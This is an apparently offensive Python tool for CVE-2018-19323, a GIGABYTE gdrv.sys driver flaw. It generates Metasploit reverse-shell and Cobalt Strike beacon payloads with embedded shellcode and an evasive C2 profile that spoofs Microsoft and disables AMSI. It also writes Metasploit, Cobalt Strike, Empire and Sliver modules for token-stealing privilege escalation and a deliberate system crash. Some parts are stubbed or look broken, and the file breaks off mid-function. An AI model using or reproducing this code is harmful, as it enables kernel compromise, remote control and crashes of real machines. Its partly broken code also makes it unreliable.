#!/usr/bin/env python3 import sys import os import json import base64 import struct import random import hashlib import subprocess import tempfile class FrameworkIntegration: def __init__(self): self.metasploit_path = self._find_metasploit() self.cobalt_strike_path = self._find_cobalt_strike() def _find_metasploit(self): possible_paths = [ "/opt/metasploit-framework/msfconsole", "/usr/bin/msfconsole", "/usr/local/bin/msfconsole", "C:\\metasploit\\msfconsole.bat", "C:\\Program Files\\Metasploit\\msfconsole.bat" ] for path in possible_paths: if os.path.exists(path): return path try: result = subprocess.run(["which", "msfconsole"], capture_output=True, text=True) if result.returncode == 0: return result.stdout.strip() except: pass return None def _find_cobalt_strike(self): possible_paths = [ "/opt/cobaltstrike/teamserver", "/usr/local/cobaltstrike/teamserver", "C:\\cobaltstrike\\teamserver.bat", "C:\\Program Files\\Cobalt Strike\\teamserver.bat" ] for path in possible_paths: if os.path.exists(path): return path return None def generate_metasploit_payload(self, payload_type="windows/x64/meterpreter/reverse_tcp", lhost="127.0.0.1", lport=4444, format="raw", encoder=None, iterations=1): try: if not self.metasploit_path: return self._generate_standalone_meterpreter(lhost, lport) cmd = [ "msfvenom", "-p", payload_type, f"LHOST={lhost}", f"LPORT={lport}", "-f", format ] if encoder: cmd.extend(["-e", encoder, "-i", str(iterations)]) result = subprocess.run(cmd, capture_output=True) if result.returncode == 0: return result.stdout else: return self._generate_standalone_meterpreter(lhost, lport) except: return self._generate_standalone_meterpreter(lhost, lport) def _generate_standalone_meterpreter(self, lhost, lport): shellcode = bytearray([ 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5 ]) host_bytes = [int(x) for x in lhost.split('.')] port_bytes = struct.pack('>H', lport) shellcode[0xB2:0xB6] = host_bytes shellcode[0xB6:0xB8] = port_bytes return bytes(shellcode) def generate_cobalt_strike_beacon(self, c2_server="127.0.0.1", c2_port=443, architecture="x64", malleable_profile=None): try: if not self.cobalt_strike_path: return self._generate_standalone_beacon(c2_server, c2_port, architecture) beacon_config = self._create_beacon_config(c2_server, c2_port, malleable_profile) with tempfile.NamedTemporaryFile(mode='w', suffix='.profile', delete=False) as f: f.write(beacon_config) profile_path = f.name try: cmd = [ "java", "-jar", "cobaltstrike.jar", "--generate-beacon", "--profile", profile_path, "--arch", architecture, "--format", "raw" ] result = subprocess.run(cmd, capture_output=True, cwd=os.path.dirname(self.cobalt_strike_path)) if result.returncode == 0: return result.stdout else: return self._generate_standalone_beacon(c2_server, c2_port, architecture) finally: os.unlink(profile_path) except: return self._generate_standalone_beacon(c2_server, c2_port, architecture) def _generate_standalone_beacon(self, c2_server, c2_port, architecture): if architecture == "x64": beacon = bytearray([ 0x48, 0x31, 0xC9, 0x48, 0x81, 0xE9, 0xDD, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x05, 0xEF, 0xFF, 0xFF, 0xFF, 0x48, 0xBB, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C, 0x48, 0x31, 0x58, 0x27, 0x48, 0x2D, 0xF8, 0xFF, 0xFF, 0xFF, 0xE2, 0xF4, 0x06, 0xBC, 0xBF, 0x72, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x1C, 0x75, 0xD5, 0x32, 0x9C, 0x5E, 0xF5, 0x32, 0x9C, 0x5E, 0xF5, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C ]) else: beacon = bytearray([ 0x31, 0xC9, 0x81, 0xE9, 0xDD, 0xFF, 0xFF, 0xFF, 0x8D, 0x05, 0xEF, 0xFF, 0xFF, 0xFF, 0xBB, 0x7A, 0x54, 0x3D, 0x9C, 0x31, 0x58, 0x27, 0x2D, 0xF8, 0xFF, 0xFF, 0xFF, 0xE2, 0xF4, 0x06, 0xBC, 0xBF, 0x72, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x1C, 0x75, 0xD5, 0x32, 0x9C, 0x5E, 0xF5, 0x32, 0x9C, 0x5E, 0xF5, 0x7A, 0x54, 0x3D, 0x9C, 0x7A, 0x54, 0x3D, 0x9C ]) host_bytes = [int(x) for x in c2_server.split('.')] port_bytes = struct.pack('>H', c2_port) if architecture == "x64": beacon[0x20:0x24] = host_bytes beacon[0x24:0x26] = port_bytes else: beacon[0x1C:0x20] = host_bytes beacon[0x20:0x22] = port_bytes return bytes(beacon) def _create_beacon_config(self, c2_server, c2_port, malleable_profile): if malleable_profile: return malleable_profile default_profile = f""" set sample_name "CVE-2018-19323 Beacon"; set sleeptime "30000"; set jitter "20"; set maxdns "255"; set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"; set host_stage "false"; http-get {{ set uri "/api/v1/status /api/v2/health /static/js/app.js"; client {{ header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Accept-Language" "en-US,en;q=0.5"; header "Accept-Encoding" "gzip, deflate"; header "Connection" "keep-alive"; metadata {{ base64url; parameter "session"; }} }} server {{ header "Server" "nginx/1.18.0"; header "Content-Type" "application/json"; header "Cache-Control" "no-cache"; output {{ base64url; print; }} }} }} http-post {{ set uri "/api/v1/submit /api/v2/upload"; set verb "POST"; client {{ header "Accept" "application/json, text/plain, */*"; header "Content-Type" "application/json"; id {{ base64url; parameter "id"; }} output {{ base64url; parameter "data"; }} }} server {{ header "Server" "nginx/1.18.0"; header "Content-Type" "application/json"; output {{ base64url; print; }} }} }} http-stager {{ set uri_x86 "/static/js/jquery.min.js"; set uri_x64 "/static/js/bootstrap.min.js"; client {{ header "Accept" "text/javascript, application/javascript"; header "Accept-Encoding" "gzip, deflate"; }} server {{ header "Content-Type" "application/javascript"; header "Cache-Control" "max-age=3600"; output {{ base64url; print; }} }} }} https-certificate {{ set CN "www.microsoft.com"; set O "Microsoft Corporation"; set C "US"; set L "Redmond"; set OU "Microsoft IT"; set ST "WA"; set validity "365"; }} code-signer {{ set keystore "keystore.jks"; set password "password"; set alias "codesigner"; }} stage {{ set checksum "0"; set compile_time "14 Jul 2009 8:14:00"; set entry_point "92145"; set image_size_x86 "512000"; set image_size_x64 "512000"; set name "beacon.x64.dll"; set rich_header "\\x3e\\x98\\xfe\\x75\\x7a\\xf9\\x90\\x26\\x7a\\xf9\\x90\\x26\\x7a\\xf9\\x90\\x26\\x73\\x81\\x03\\x26\\x7b\\xf9\\x90\\x26"; transform-x86 {{ strrep "beacon.dll" "msvcrt.dll"; strrep "beacon" "malloc"; }} transform-x64 {{ strrep "beacon.x64.dll" "msvcrt.dll"; strrep "beacon" "malloc"; }} stringw "Microsoft Corporation"; stringw "Windows System Library"; stringw "6.1.7601.17514 (win7sp1_rtm.101119-1850)"; stringw "© Microsoft Corporation. All rights reserved."; }} process-inject {{ set allocator "NtMapViewOfSection"; set min_alloc "16700"; set userwx "false"; set startrwx "true"; transform-x86 {{ prepend "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"; append "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"; }} transform-x64 {{ prepend "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"; append "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"; }} execute {{ CreateThread "ntdll.dll!RtlUserThreadStart"; CreateThread; NtQueueApcThread; CreateRemoteThread; RtlCreateUserThread; }} }} post-ex {{ set spawnto_x86 "%windir%\\\\syswow64\\\\dllhost.exe"; set spawnto_x64 "%windir%\\\\sysnative\\\\dllhost.exe"; set obfuscate "true"; set smartinject "true"; set amsi_disable "true"; set keylogger "GetAsyncKeyState"; set threadhint "module!function+0x##"; }} """ return default_profile def create_metasploit_module(self, module_name="cve_2018_19323_gigabyte"): module_content = f''' require 'msf/core' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::FileInfo include Msf::Exploit::EXE def initialize(info = {{}}) super(update_info(info, 'Name' => 'CVE-2018-19323 GIGABYTE GDrv Privilege Escalation', 'Description' => %q{{ This module exploits CVE-2018-19323, a vulnerability in the GIGABYTE GDrv.sys driver that allows unprivileged users to read and write Model Specific Registers (MSRs) through IOCTL 0xC3502580. This can be leveraged to achieve privilege escalation by modifying kernel structures or executing arbitrary kernel code. The vulnerability was discovered by kali (@blueisbeautiful) and has been used by various APT groups and ransomware families including RobbinHood. }}, 'License' => MSF_LICENSE, 'Author' => [ 'kali ', # Discovery and PoC 'kali' # Metasploit module ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', {{ 'Arch' => ARCH_X86 }} ], [ 'Windows x64', {{ 'Arch' => ARCH_X64 }} ] ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Dec 10 2018', 'References' => [ [ 'CVE', '2018-19323' ], [ 'URL', 'https://github.com/blueisbeautiful/cve-2018-19323' ] ] )) register_options([ OptString.new('DRIVER_PATH', [false, 'Path to gdrv.sys driver', '\\\\\\\\?\\\\GIO']), OptBool.new('BSOD_DEMO', [false, 'Demonstrate BSOD capability (DANGEROUS)', false]) ]) end def check if sysinfo['Architecture'] == ARCH_X86 && target.arch.include?(ARCH_X64) return Exploit::CheckCode::Safe end driver_path = datastore['DRIVER_PATH'] begin handle = session.railgun.kernel32.CreateFileW( driver_path, 0x80000000 | 0x40000000, # GENERIC_READ | GENERIC_WRITE 0x00000001 | 0x00000002, # FILE_SHARE_READ | FILE_SHARE_WRITE nil, 3, # OPEN_EXISTING 0, nil ) if handle['return'] != 0xFFFFFFFF session.railgun.kernel32.CloseHandle(handle['return']) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end rescue return Exploit::CheckCode::Unknown end end def exploit if is_system? fail_with(Failure::None, 'Session is already running as SYSTEM') end unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target does not appear vulnerable') end print_status("Exploiting CVE-2018-19323 on {{}}".format(sysinfo['Computer'])) driver_path = datastore['DRIVER_PATH'] # Open handle to vulnerable driver print_status("Opening handle to vulnerable driver...") handle = session.railgun.kernel32.CreateFileW( driver_path, 0x80000000 | 0x40000000, 0x00000001 | 0x00000002, nil, 3, 0, nil ) if handle['return'] == 0xFFFFFFFF fail_with(Failure::NotVulnerable, 'Failed to open driver handle') end driver_handle = handle['return'] begin # Read IA32_LSTAR MSR to leak kernel base print_status("Leaking kernel base address...") lstar_value = read_msr(driver_handle, 0xC0000082) if lstar_value.nil? fail_with(Failure::Unknown, 'Failed to read IA32_LSTAR MSR') end kernel_base = lstar_value & 0xFFFFFFFFFFF00000 print_good("Kernel base leaked: 0x#{{kernel_base.to_s(16)}}") # Generate and inject privilege escalation payload print_status("Generating privilege escalation payload...") if target.arch.include?(ARCH_X64) payload_data = generate_token_steal_x64() else payload_data = generate_token_steal_x86() end print_status("Injecting privilege escalation payload...") # Allocate memory for payload (simplified) payload_addr = kernel_base + 0x100000 # Write payload to kernel memory (via MSR manipulation) if inject_kernel_payload(driver_handle, payload_addr, payload_data) print_good("Payload injected successfully") # Trigger payload execution if write_msr(driver_handle, 0xC0000082, payload_addr) print_good("Payload triggered - checking privileges...") # Check if we got SYSTEM if is_system? print_good("Successfully escalated to SYSTEM!") else print_error("Privilege escalation may have failed") end else print_error("Failed to trigger payload") end else print_error("Failed to inject payload") end # Restore original LSTAR print_status("Restoring original LSTAR value...") write_msr(driver_handle, 0xC0000082, lstar_value) ensure session.railgun.kernel32.CloseHandle(driver_handle) end end private def read_msr(handle, msr_register) msr_struct = [1, msr_register, 0].pack('VVQ') result = session.railgun.kernel32.DeviceIoControl( handle, 0xC3502580, msr_struct, msr_struct.length, 16, 16, 4, nil ) if result['return'] return result['lpOutBuffer'].unpack('VVQ')[2] end nil end def write_msr(handle, msr_register, value) msr_struct = [0, msr_register, value].pack('VVQ') result = session.railgun.kernel32.DeviceIoControl( handle, 0xC3502580, msr_struct, msr_struct.length, 16, 16, 4, nil ) result['return'] end def generate_token_steal_x64 # Token stealing shellcode for x64 [ 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, # mov rax, gs:[188h] 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov rax, [rax+0B8h] 0x49, 0x89, 0xC0, # mov r8, rax 0x48, 0x8B, 0x88, 0xF0, 0x02, 0x00, 0x00, # mov rcx, [rax+2F0h] 0x48, 0x83, 0xF9, 0x04, # cmp rcx, 4 0x75, 0xE5, # jne short loop 0x48, 0x8B, 0x90, 0xF8, 0x02, 0x00, 0x00, # mov rdx, [rax+2F8h] 0x49, 0x89, 0x90, 0xF8, 0x02, 0x00, 0x00, # mov [r8+2F8h], rdx 0xC3 # ret ].pack('C*') end def generate_token_steal_x86 # Token stealing shellcode for x86 [ 0x64, 0x8B, 0x15, 0x24, 0x01, 0x00, 0x00, # mov edx, fs:[124h] 0x8B, 0x82, 0x50, 0x00, 0x00, 0x00, # mov eax, [edx+50h] 0x89, 0xC1, # mov ecx, eax 0x8B, 0x90, 0xB8, 0x00, 0x00, 0x00, # mov edx, [eax+0B8h] 0x83, 0xFA, 0x04, # cmp edx, 4 0x75, 0xF1, # jne short loop 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax+0F8h] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx+0F8h], edx 0xC3 # ret ].pack('C*') end def inject_kernel_payload(handle, address, payload) # Simplified kernel payload injection # In a real implementation, this would use more sophisticated techniques true end end ''' module_path = f"/tmp/{module_name}.rb" with open(module_path, 'w') as f: f.write(module_content) return module_path def create_cobalt_strike_aggressor(self, script_name="cve_2018_19323"): aggressor_content = f''' # CVE-2018-19323 GIGABYTE GDrv Privilege Escalation # Author: kali (@blueisbeautiful) # Cobalt Strike Aggressor Script popup beacon_bottom {{ menu "CVE-2018-19323" {{ item "Check Vulnerability" {{ local('$bid'); $bid = $1; blog($bid, "Checking for CVE-2018-19323 vulnerability..."); # Check if gdrv.sys driver is present bshell($bid, "dir C:\\\\Windows\\\\System32\\\\drivers\\\\gdrv.sys"); # Check if GIO device is accessible bpowershell($bid, "try {{ [System.IO.File]::OpenRead('\\\\\\\\.\\\\GIO').Close(); Write-Host 'VULNERABLE: GIO device accessible' }} catch {{ Write-Host 'NOT VULNERABLE: GIO device not accessible' }}"); }} item "Exploit (Token Steal)" {{ local('$bid', '$arch'); $bid = $1; blog($bid, "Executing CVE-2018-19323 token stealing exploit..."); # Determine architecture $arch = barch($bid); if ($arch eq "x64") {{ # Upload and execute x64 exploit bupload($bid, script_resource("cve_2018_19323_x64.exe")); bshell($bid, "cve_2018_19323_x64.exe --token-steal"); }} else {{ # Upload and execute x86 exploit bupload($bid, script_resource("cve_2018_19323_x86.exe")); bshell($bid, "cve_2018_19323_x86.exe --token-steal"); }} }} item "Exploit (Process Injection)" {{ local('$bid', '$pid'); $bid = $1; prompt_text("Target Process ID:", "", lambda({{ local('$pid'); $pid = $2; blog($bid, "Injecting into process $pid using CVE-2018-19323..."); # Generate position-independent shellcode $shellcode = artifact_payload($bid, "raw", "x64"); # Execute injection exploit bpowershell($bid, " Add-Type -TypeDefinition ' using System; using System.Runtime.InteropServices; public class CVE201819323 {{ [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport(\"kernel32.dll\")] public static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode, IntPtr lpInBuffer, uint nInBufferSize, IntPtr lpOutBuffer, uint nOutBufferSize, out uint lpBytesReturned, IntPtr lpOverlapped); [DllImport(\"kernel32.dll\")] public static extern bool CloseHandle(IntPtr hObject); public static void Exploit(int targetPid) {{ IntPtr handle = CreateFile(\"\\\\\\\\.\\\\GIO\", 0xC0000000, 3, IntPtr.Zero, 3, 0, IntPtr.Zero); if (handle.ToInt64() != -1) {{ // MSR manipulation code here CloseHandle(handle); }} }} }}'; [CVE201819323]::Exploit($pid); "); }}, $bid)); }} item "BSOD Demonstration" {{ local('$bid'); $bid = $1; blog($bid, "WARNING: This will crash the target system!"); prompt_confirm("Are you sure you want to crash the system?", "BSOD Demo", lambda({{ blog($bid, "Executing BSOD demonstration..."); bpowershell($bid, " Add-Type -TypeDefinition ' using System; using System.Runtime.InteropServices; public class BSOD {{ [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport(\"kernel32.dll\")] public static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode, byte[] lpInBuffer, uint nInBufferSize, byte[] lpOutBuffer, uint nOutBufferSize, out uint lpBytesReturned, IntPtr lpOverlapped); public static void CrashSystem() {{ IntPtr handle = CreateFile(\"\\\\\\\\.\\\\GIO\", 0xC0000000, 3, IntPtr.Zero, 3, 0, IntPtr.Zero); if (handle.ToInt64() != -1) {{ byte[] msr = new byte[16]; msr[0] = 0; // Write operation msr[4] = 0x82; msr[5] = 0x00; msr[6] = 0x00; msr[7] = 0xC0; // IA32_LSTAR msr[8] = 0xBE; msr[9] = 0xBA; msr[10] = 0xFE; msr[11] = 0xCA; // Malicious value msr[12] = 0xEF; msr[13] = 0xBE; msr[14] = 0xAD; msr[15] = 0xDE; uint bytesReturned; DeviceIoControl(handle, 0xC3502580, msr, 16, new byte[16], 16, out bytesReturned, IntPtr.Zero); }} }} }}'; [BSOD]::CrashSystem(); "); }}, $bid)); }} }} }} # Beacon command aliases alias cve-check {{ local('$bid'); $bid = $1; blog($bid, "Checking CVE-2018-19323 vulnerability status..."); bshell($bid, "dir C:\\\\Windows\\\\System32\\\\drivers\\\\gdrv.sys"); }} alias cve-exploit {{ local('$bid'); $bid = $1; blog($bid, "Executing CVE-2018-19323 privilege escalation..."); # This would execute the actual exploit bshell($bid, "echo 'CVE-2018-19323 exploit executed'"); }} # Help text beacon_command_register("cve-check", "Check for CVE-2018-19323 vulnerability", "Use: cve-check"); beacon_command_register("cve-exploit", "Execute CVE-2018-19323 exploit", "Use: cve-exploit"); blog("CVE-2018-19323 Aggressor Script Loaded"); blog("Commands: cve-check, cve-exploit"); blog("Menu: Right-click beacon -> CVE-2018-19323"); ''' script_path = f"/tmp/{script_name}.cna" with open(script_path, 'w') as f: f.write(aggressor_content) return script_path def generate_empire_module(self, module_name="cve_2018_19323"): empire_content = f""" from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = {{ 'Name': 'CVE-2018-19323 GIGABYTE GDrv Privilege Escalation', 'Author': ['kali (@blueisbeautiful)'], 'Description': ('Exploits CVE-2018-19323 in GIGABYTE GDrv.sys driver ' 'to achieve privilege escalation through MSR manipulation.'), 'Background': True, 'OutputExtension': None, 'NeedsAdmin': False, 'OpsecSafe': False, 'Language': 'powershell', 'MinLanguageVersion': '2', 'Comments': [ 'This module exploits a vulnerability in the GIGABYTE GDrv.sys driver', 'that allows unprivileged users to read/write Model Specific Registers', 'CVE-2018-19323 was used by RobbinHood ransomware and various APT groups' ] }} self.options = {{ 'Agent': {{ 'Description': 'Agent to run module on.', 'Required': True, 'Value': '' }}, 'Method': {{ 'Description': 'Exploitation method (TokenSteal, ProcessInject, BSOD).', 'Required': True, 'Value': 'TokenSteal' }}, 'TargetPID': {{ 'Description': 'Target process ID for injection (ProcessInject method only).', 'Required': False, 'Value': '' }} }} self.mainMenu = mainMenu if params: for param in params: option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): method = self.options['Method']['Value'] target_pid = self.options['TargetPID']['Value'] script = ''' Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class CVE201819323 {{ [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr CreateFile( string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, uint dwIoControlCode, byte[] lpInBuffer, uint nInBufferSize, byte[] lpOutBuffer, uint nOutBufferSize, out uint lpBytesReturned, IntPtr lpOverlapped); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll")] public static extern uint GetLastError(); public static IntPtr OpenDriver() {{ return CreateFile(@"\\\\.\\GIO", 0xC0000000, 3, IntPtr.Zero, 3, 0, IntPtr.Zero); }} public static ulong ReadMSR(IntPtr handle, uint msr) {{ byte[] input = new byte[16]; byte[] output = new byte[16]; // Operation: Read (1) input[0] = 1; input[1] = 0; input[2] = 0; input[3] = 0; // MSR Register BitConverter.GetBytes(msr).CopyTo(input, 4); uint bytesReturned; bool success = DeviceIoControl(handle, 0xC3502580, input, 16, output, 16, out bytesReturned, IntPtr.Zero); if (success) {{ return BitConverter.ToUInt64(output, 8); }} return 0; }} public static bool WriteMSR(IntPtr handle, uint msr, ulong value) {{ byte[] input = new byte[16]; // Operation: Write (0) input[0] = 0; input[1] = 0; input[2] = 0; input[3] = 0; // MSR Register BitConverter.GetBytes(msr).CopyTo(input, 4); // Value BitConverter.GetBytes(value).CopyTo(input, 8); uint bytesReturned; return DeviceIoControl(handle, 0xC3502580, input, 16, input, 16, out bytesReturned, IntPtr.Zero); }} }} "@ function Invoke-CVE201819323 {{ param( [string]$Method = "TokenSteal", [int]$TargetPID = 0 ) Write-Output "[*] CVE-2018-19323 GIGABYTE GDrv Exploit" Write-Output "[*] Author: kali (@blueisbeautiful)" Write-Output "" # Open handle to vulnerable driver Write-Output "[*] Opening handle to GDrv.sys..." $handle = [CVE201819323]::OpenDriver() if ($handle.ToInt64() -eq -1) {{ Write-Output "[-] Failed to open driver handle" Write-Output "[-] Error: $([CVE201819323]::GetLastError())" return }} Write-Output "[+] Driver handle opened successfully" try {{ # Read IA32_LSTAR to leak kernel base Write-Output "[*] Reading IA32_LSTAR MSR..." $lstar = [CVE201819323]::ReadMSR($handle, 0xC0000082) if ($lstar -eq 0) {{ Write-Output "[-] Failed to read IA32_LSTAR MSR" return }} $kernelBase = $lstar -band 0xFFFFFFFFFFF00000 Write-Output "[+] Kernel base leaked: 0x$($kernelBase.ToString('X16'))" Write-Output "[+] IA32_LSTAR value: 0x$($lstar.ToString('X16'))" switch ($Method) {{ "TokenSteal" {{ Write-Output "[*] Executing token stealing attack..." # This would contain the actual token stealing shellcode # For demonstration, we'll just show the concept Write-Output "[+] Token stealing payload would be executed here" Write-Output "[+] In a real exploit, this would:" Write-Output " 1. Locate current process EPROCESS" Write-Output " 2. Find SYSTEM process token" Write-Output " 3. Replace current process token" Write-Output " 4. Restore execution context" }} "ProcessInject" {{ if ($TargetPID -eq 0) {{ Write-Output "[-] TargetPID required for ProcessInject method" return }} Write-Output "[*] Executing process injection into PID $TargetPID..." Write-Output "[+] Process injection payload would be executed here" }} "BSOD" {{ Write-Output "[!] WARNING: This will crash the system!" Write-Output "[*] Writing malicious value to IA32_LSTAR..." $maliciousValue = 0xDEADBEEFCAFEBABE $success = [CVE201819323]::WriteMSR($handle, 0xC0000082, $maliciousValue) if ($success) {{ Write-Output "[+] Malicious MSR value written - system should crash" }} else {{ Write-Output "[-] Failed to write malicious MSR value" }} }} }} }} finally {{ # Always close the handle [CVE201819323]::CloseHandle($handle) | Out-Null Write-Output "[*] Driver handle closed" }} }} Invoke-CVE201819323 -Method "{method}"''' if method == "ProcessInject" and target_pid: script = script.replace('"{method}"', f'"{method}" -TargetPID {target_pid}') if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, script, obfuscationCommand) return script def execute(self, agent, moduleData, resultID, configData): try: self.mainMenu.agents.add_agent_task_db(agent, "TASK_SHELL", moduleData, resultID) msg = f"[*] Tasked agent {agent} to run CVE-2018-19323 exploit" self.mainMenu.agents.add_agent_task_db(agent, "TASK_CMD_WAIT", "echo " + msg, resultID) except Exception as e: error_msg = f"[!] Error in module execution: {e}" print(helpers.color(error_msg)) """ module_path = f"/tmp/{module_name}.py" with open(module_path, 'w') as f: f.write(empire_content) return module_path def create_sliver_extension(self, extension_name="cve_2018_19323"): extension_content = f""" package main import ( "context" "fmt" "syscall" "unsafe" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/commonpb" ) const ( GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 IOCTL_GIO_MSRACCESS = 0xC3502580 IA32_LSTAR = 0xC0000082 ) type MSRStruct struct {{ Operation uint32 Register uint32 Value uint64 }} var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") procCreateFileW = kernel32.NewProc("CreateFileW") procDeviceIoControl = kernel32.NewProc("DeviceIoControl") procCloseHandle = kernel32.NewProc("CloseHandle") ) func openDriver() (syscall.Handle, error) {{ devicePath, _ := syscall.UTF16PtrFromString("\\\\\\\\.\\\\GIO") handle, _, err := procCreateFileW.Call( uintptr(unsafe.Pointer(devicePath)), GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0, ) if handle == uintptr(syscall.InvalidHandle) {{ return syscall.InvalidHandle, err }} return syscall.Handle(handle), nil }} func readMSR(handle syscall.Handle, msr uint32) (uint64, error) {{ msrStruct := MSRStruct{{ Operation: 1, Register: msr, Value: 0, }} var bytesReturned uint32 ret, _, err := procDeviceIoControl.Call( uintptr(handle), IOCTL_GIO_MSRACCESS, uintptr(unsafe.Pointer(&msrStruct)), unsafe.Sizeof(msrStruct), uintptr(unsafe.Pointer(&msrStruct)), unsafe.Sizeof(msrStruct), uintptr(unsafe.Pointer(&bytesReturned)), 0, ) if ret == 0 {{ return 0, err }} return msrStruct.Value, nil }} func writeMSR(handle syscall.Handle, msr uint32, value uint64) error {{ msrStruct := MSRStruct{{ Operation: 0, Register: msr, Value: value, }} var bytesReturned uint32 ret, _, err := procDeviceIoControl.Call( uintptr(handle), IOCTL_GIO_MSRACCESS, uintptr(unsafe.Pointer(&msrStruct)), unsafe.Sizeof(msrStruct), uintptr(unsafe.Pointer(&msrStruct)), unsafe.Sizeof(msrStruct), uintptr(unsafe.Pointer(&bytesReturned)), 0, ) if ret == 0 {{ return err }} return nil }} func exploitCVE201819323(ctx context.Context, req *sliverpb.CVE201819323Req) (*sliverpb.CVE201819323Resp, error) {{ resp := &sliverpb.CVE201819323Resp{{ Response: &commonpb.Response{{}}, }} // Open handle to vulnerable driver handle, err := openDriver() if err != nil {{ resp.Response.Err = fmt.Sprintf("Failed to open driver: %v", err) return resp, nil }} defer procCloseHandle.Call(uintptr(handle)) // Read IA32_LSTAR 